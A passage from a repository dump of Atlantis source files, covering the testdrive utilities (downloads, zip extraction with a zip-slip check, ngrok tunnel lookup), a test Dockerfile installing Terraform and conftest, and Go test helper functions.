Open new pull request in the browser.\n\tcolorstring.Println(\"=> opening pull request\")\n\ts.Start()\n\ttime.Sleep(2 * time.Second)\n\terr = executeCmd(\"open\", pullRequestURL)\n\tif err != nil {\n\t\tcolorstring.Printf(\"[red]=> opening pull request failed. please go to: %s on the browser\\n[reset]\", pullRequestURL)\n\t}\n\ts.Stop()\n\n\t// Wait for ngrok and atlantis server process to finish.\n\tcolorstring.Println(\"[_green_][light_green]atlantis is running [reset]\")\n\ts.Start()\n\tcolorstring.Println(\"[green] [press Ctrl-c to exit][reset]\")\n\n\t// Wait for SIGINT or SIGTERM signals meaning the user has Ctrl-C'd the\n\t// testdrive process and want's to stop.\n\tsignalChan := make(chan os.Signal, 1)\n\tsignal.Notify(signalChan, syscall.SIGINT, syscall.SIGTERM)\n\n\t// Keep checking for errors from ngrok or atlantis server. Exit normally on shutdown signal.\n\tselect {\n\tcase <-signalChan:\n\t\tcolorstring.Println(\"\\n[red]shutdown signal received, exiting....[reset]\")\n\t\tcolorstring.Println(\"\\n[green]Thank you for using atlantis :) \\n[reset]For more information about how to use atlantis in production go to: https://www.runatlantis.io\")\n\t\treturn nil\n\tcase err := <-ngrokErrors:\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"ngrok tunnel: %w\", err)\n\t\t}\n\t\treturn err\n\tcase err := <-atlantisErrors:\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"atlantis server: %w\", err)\n\t\t}\n\t\treturn err\n\t}\n}\n"
  },
  {
    "path": "testdrive/utils.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage testdrive\n\nimport (\n\t\"archive/zip\"\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"golang.org/x/term\"\n)\n\nconst hashicorpReleasesURL = \"https://releases.hashicorp.com\"\nconst terraformVersion = \"1.14.5\" // renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp\nconst ngrokDownloadURL = \"https://bin.equinox.io/c/4VmDzA7iaHb\"\nconst ngrokAPIURL = \"localhost:41414\" // We hope this isn't used.\nconst atlantisPort = 4141\n\nfunc readPassword() (string, error) {\n\tpassword, err := term.ReadPassword(int(syscall.Stdin)) // nolint: unconvert\n\treturn string(password), err\n}\n\nfunc downloadFile(url string, path string) error {\n\toutput, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer output.Close() // nolint: errcheck\n\n\tresponse, err := http.Get(url) // nolint: gosec\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer response.Body.Close() // nolint: errcheck\n\n\t_, err = io.Copy(output, response.Body)\n\treturn err\n}\n\n// This function is used to sanitize the file path to avoid a \"zip slip\" attack\n// source: https://github.com/securego/gosec/issues/324#issuecomment-935927967\nfunc sanitizeArchivePath(d, t string) (v string, err error) {\n\tv = filepath.Join(d, t)\n\tif strings.HasPrefix(v, filepath.Clean(d)) {\n\t\treturn v, nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"%s: %s\", \"content filepath is tainted\", t)\n}\n\nfunc unzip(archive, target string) error {\n\treader, err := zip.OpenReader(archive)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, file := range reader.File {\n\t\tpath, err := sanitizeArchivePath(target, file.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif file.FileInfo().IsDir() {\n\t\t\tif err := os.MkdirAll(path, file.Mode()); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tfileReader, err := file.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer fileReader.Close() // nolint: errcheck\n\n\t\ttargetFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer targetFile.Close() // nolint: errcheck\n\n\t\tfor {\n\t\t\t_, err := io.CopyN(targetFile, fileReader, 1024)\n\t\t\tif err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc getTunnelAddr() (string, error) {\n\ttunAPI := fmt.Sprintf(\"http://%s/api/tunnels\", ngrokAPIURL)\n\tresponse, err := http.Get(tunAPI) // nolint: gosec\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer response.Body.Close() // nolint: errcheck\n\n\ttype tunnels struct {\n\t\tTunnels []struct {\n\t\t\tPublicURL string `json:\"public_url\"`\n\t\t\tProto     string `json:\"proto\"`\n\t\t\tConfig    struct {\n\t\t\t\tAddr string `json:\"addr\"`\n\t\t\t} `json:\"config\"`\n\t\t} `json:\"tunnels\"`\n\t}\n\n\tvar t tunnels\n\n\tbody, err := io.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"reading ngrok api: %w\", err)\n\t}\n\tif err = json.Unmarshal(body, &t); err != nil {\n\t\treturn \"\", fmt.Errorf(\"parsing ngrok api: %s: %w\", string(body), err)\n\t}\n\n\t// Find the tunnel we just created.\n\texpAtlantisURL := fmt.Sprintf(\"http://localhost:%d\", atlantisPort)\n\tfor _, tun := range t.Tunnels {\n\t\tif tun.Proto == \"https\" && tun.Config.Addr == expAtlantisURL {\n\t\t\treturn tun.PublicURL, nil\n\t\t}\n\t}\n\n\treturn \"\", fmt.Errorf(\"did not find ngrok tunnel with proto 'https' and config.addr '%s' in list of tunnels at %s\\n%s\", expAtlantisURL, tunAPI, string(body))\n}\n\nfunc downloadAndUnzip(url string, path string, target string) error {\n\tif err := downloadFile(url, path); err != nil {\n\t\treturn err\n\t}\n\treturn unzip(path, target)\n}\n\n// executeCmd executes a command, waits for it to finish and returns any errors.\nfunc executeCmd(cmd string, args ...string) error {\n\tcommand := exec.Command(cmd, args...) // #nosec\n\tbytes, err := command.CombinedOutput()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%s: %s\", err, bytes)\n\t}\n\treturn nil\n}\n\n// execAndWaitForStderr executes a command with name and args. It waits until\n// timeout for the stderr output of the command to match stderrMatch. If the\n// timeout comes first, then it cancels the command and returns the error as\n// error (not on the channel). Otherwise the function returns and the command\n// continues to run in the background. Any errors after this point are passed\n// onto the error channel and the command is stopped. We increment the wg\n// so that callers can wait until command is killed before exiting.\n// The cancelFunc can be used to stop the command but callers should still wait\n// for the wg to be Done to ensure the command completes its cancellation\n// process.\nfunc execAndWaitForStderr(wg *sync.WaitGroup, stderrMatch *regexp.Regexp, timeout time.Duration, name string, args ...string) (context.CancelFunc, <-chan error, error) {\n\tctx, cancel := context.WithCancel(context.Background())\n\terrChan := make(chan error, 1)\n\n\t// Set up the command and stderr pipe.\n\tcommand := exec.CommandContext(ctx, name, args...) // #nosec\n\tstderr, err := command.StderrPipe()\n\tif err != nil {\n\t\treturn cancel, errChan, fmt.Errorf(\"creating stderr pipe: %w\", err)\n\t}\n\n\t// Start the command in the background. This will only return error if the\n\t// command is not executable.\n\terr = command.Start()\n\tif err != nil {\n\t\treturn cancel, errChan, fmt.Errorf(\"starting command: %v\", err)\n\t}\n\n\t// Wait until we see the desired output or time out.\n\tfoundLine := make(chan bool, 1)\n\tscanner := bufio.NewScanner(stderr)\n\tvar log strings.Builder\n\n\t// This goroutine watches the process stderr and sends true along the\n\t// foundLine channel if a line matches.\n\tgo func() {\n\t\tfor scanner.Scan() {\n\t\t\ttext := scanner.Text()\n\t\t\tlog.WriteString(text + \"\\n\")\n\t\t\tif stderrMatch.MatchString(text) {\n\t\t\t\tfoundLine <- true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}()\n\n\t// Block on either finding a matching line or timeout.\n\tselect {\n\tcase <-foundLine:\n\t\t// If we find the line, continue.\n\tcase <-time.After(timeout):\n\t\t// If it's a timeout we cancel the command ourselves.\n\t\tcancel()\n\t\t// We still need to wait for the command to finish.\n\t\tcommand.Wait()                                                           // nolint: errcheck\n\t\treturn cancel, errChan, fmt.Errorf(\"timeout, logs:\\n%s\\n\", log.String()) // nolint: staticcheck, revive\n\t}\n\n\t// Increment the wait group so callers can wait for the command to finish.\n\twg.Go(func() {\n\t\terr := command.Wait()\n\t\terrChan <- err\n\t})\n\n\treturn cancel, errChan, nil\n}\n"
  },
  {
    "path": "testing/Dockerfile",
    "content": "FROM golang:1.25.3@sha256:6bac879c5b77e0fc9c556a5ed8920e89dab1709bd510a854903509c828f67f96\n\nRUN apt-get update && apt-get --no-install-recommends -y install unzip \\\n    && apt-get clean \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Install Terraform\n# renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp\nENV TERRAFORM_VERSION=1.14.5\nRUN case $(uname -m) in x86_64|amd64) ARCH=\"amd64\" ;; aarch64|arm64|armv7l) ARCH=\"arm64\" ;; esac && \\\n    wget -nv -O terraform.zip https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_${ARCH}.zip && \\\n    mkdir -p /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \\\n    unzip terraform.zip -d /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \\\n    ln -s /usr/local/bin/tf/versions/${TERRAFORM_VERSION}/terraform /usr/local/bin/terraform && \\\n    rm terraform.zip\n\n# Install conftest\n# renovate: datasource=github-releases depName=open-policy-agent/conftest\nENV CONFTEST_VERSION=0.66.0\nSHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]\nRUN case $(uname -m) in x86_64|amd64) ARCH=\"x86_64\" ;; aarch64|arm64|armv7l) ARCH=\"arm64\" ;; esac && \\\n    curl -LOs https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \\\n    curl -LOs https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/checksums.txt && \\\n    sed -n \"/conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz/p\" checksums.txt | sha256sum -c && \\\n    mkdir -p /usr/local/bin/cft/versions/${CONFTEST_VERSION} && \\\n    tar -C  /usr/local/bin/cft/versions/${CONFTEST_VERSION} -xzf conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \\\n    # Generally Atlantis requires `conftest$version` command. But we use `conftest` command in test.\n    # `conftest$version` command blocks upgrading conftest operation cause e2e test use this image.\n    ln -s /usr/local/bin/cft/versions/${CONFTEST_VERSION}/conftest /usr/local/bin/conftest && \\\n    rm conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \\\n    rm checksums.txt\n\nRUN useradd -u 1001 -m atlantis\n\nUSER atlantis\n"
  },
  {
    "path": "testing/assertions.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage testing\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/go-test/deep\"\n\t\"github.com/kr/pretty\"\n)\n\n// Assert fails the test if the condition is false.\n// Taken from https://github.com/benbjohnson/testing.\nfunc Assert(tb testing.TB, condition bool, msg string, v ...any) {\n\ttb.Helper()\n\tif !condition {\n\t\terrLog(tb, msg, v...)\n\t\ttb.FailNow()\n\t}\n}\n\n// Ok fails the test if an err is not nil.\n// Taken from https://github.com/benbjohnson/testing.\nfunc Ok(tb testing.TB, err error) {\n\ttb.Helper()\n\tif err != nil {\n\t\terrLog(tb, \"unexpected error: %s\", err.Error())\n\t\ttb.FailNow()\n\t}\n}\n\n// Equals fails the test if exp is not equal to act.\n// Taken from https://github.com/benbjohnson/testing.\nfunc Equals(tb testing.TB, exp, act any) {\n\ttb.Helper()\n\tif diff := deep.Equal(exp, act); diff != nil {\n\t\terrLog(tb, \"%s\\n\\nexp: %s******\\ngot: %s\", diff, pretty.Sprint(exp), pretty.Sprint(act))\n\t\ttb.FailNow()\n\t}\n}\n\n// ErrEquals fails the test if act is nil or act.Error() != exp\nfunc ErrEquals(tb testing.TB, exp string, act error) {\n\ttb.Helper()\n\tif act == nil {\n\t\terrLog(tb, \"exp err %q but err was nil\\n\", exp)\n\t\ttb.FailNow()\n\t}\n\tif act.Error() != exp {\n\t\terrLog(tb, \"exp err: %q but got: %q\\n\", exp, act.Error())\n\t\ttb.FailNow()\n\t}\n}\n\n// ErrContains fails the test if act is nil or act.Error() does not contain\n// substr.\nfunc ErrContains(tb testing.TB, substr string, act error) {\n\ttb.Helper()\n\tif act == nil {\n\t\terrLog(tb, \"exp err to contain %q but err was nil\", substr)\n\t\ttb.FailNow()\n\t}\n\tif !strings.Contains(act.Error(), substr) {\n\t\terrLog(tb, \"exp err %q to contain %q\", act.Error(), substr)\n\t\ttb.FailNow()\n\t}\n}\n\n// Contains fails the test if the slice doesn't contain the expected element\nfunc Contains(tb testing.TB, exp any, slice []string) {\n\ttb.Helper()\n\tfor _, v := range slice {\n\t\tif v == exp {\n\t\t\treturn\n\t\t}\n\t}\n\terrLog(tb, \"exp: %#v\\n\\n\\twas not in: %#v\", exp, slice)\n\ttb.FailNow()\n}\n\nfunc errLog(tb testing.TB, fmt string, args ...any) {\n\ttb.Helper()\n\ttb.Logf(\"\\033[31m\"+fmt+\"\\033[39m\", args...)\n}\n"
  },
  {
    "path": "testing/hooks/post_push",
    "content": "#!/bin/bash\n\ndocker tag $IMAGE_NAME $DOCKER_REPO:$SOURCE_COMMIT\ndocker push $DOCKER_REPO:$SOURCE_COMMIT\n"
  },
  {
    "path": "testing/http.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage testing\n\nimport (\n\t\"io\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc ResponseContains(t *testing.T, r *httptest.ResponseRecorder, status int, bodySubstr string) {\n\tt.Helper()\n\tbody, err := io.ReadAll(r.Result().Body)\n\tOk(t, err)\n\tAssert(t, status == r.Result().StatusCode, \"exp %d got %d, body: %s\", status, r.Result().StatusCode, string(body))\n\tAssert(t, strings.Contains(string(body), bodySubstr), \"exp %q to be contained in %q\", bodySubstr, string(body))\n}\n"
  },
  {
    "path": "testing/temp_files.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage testing\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n)\n\n// DirStructure creates a directory structure in a temporary directory.\n// structure describes the dir structure. If the value is another map, then the\n// key is the name of a directory. If the value is nil, then the key is the name\n// of a file. If val is a string then key is a file name and val is the file's content.\n// It returns the path to the temp directory containing the defined\n// structure.\n// Example usage:\n//\n//\t\tversionConfig := `\n//\t terraform {\n//\t\t  required_version = \"= 0.12.8\"\n//\t }\n//\t `\n//\t\ttmpDir := DirStructure(t, map[string]interface{}{\n//\t\t\t\"pulldir\": map[string]interface{}{\n//\t\t\t\t\"project1\": map[string]interface{}{\n//\t\t\t\t\t\"main.tf\": nil,\n//\t\t\t\t},\n//\t\t\t\t\"project2\": map[string]interface{}{,\n//\t\t\t\t\t\"main.tf\": versionConfig,\n//\t\t\t\t},\n//\t\t\t},\n//\t\t})\nfunc DirStructure(t *testing.T, structure map[string]any) string {\n\ttmpDir := t.TempDir()\n\tdirStructureGo(t, tmpDir, structure)\n\treturn tmpDir\n}\n\nfunc dirStructureGo(t *testing.T, parentDir string, structure map[string]any) {\n\tfor key, val := range structure {\n\t\t// If val is nil then key is a filename and we just create it\n\t\tif val == nil {\n\t\t\t_, err := os.Create(filepath.Join(parentDir, key))\n\t\t\tOk(t, err)\n\t\t\tcontinue\n\t\t}\n\t\t// If val is another map then key is a dir\n\t\tif dirContents, ok := val.(map[string]any); ok {\n\t\t\tsubDir := filepath.Join(parentDir, key)\n\t\t\tOk(t, os.Mkdir(subDir, 0700))\n\t\t\t// Recurse and create contents.\n\t\t\tdirStructureGo(t, subDir, dirContents)\n\t\t} else if fileContent, ok := val.(string); ok {\n\t\t\t// If val is a string then key is a file name and val is the file's content\n\t\t\terr := os.WriteFile(filepath.Join(parentDir, key), []byte(fileContent), 0600)\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n"
  }
]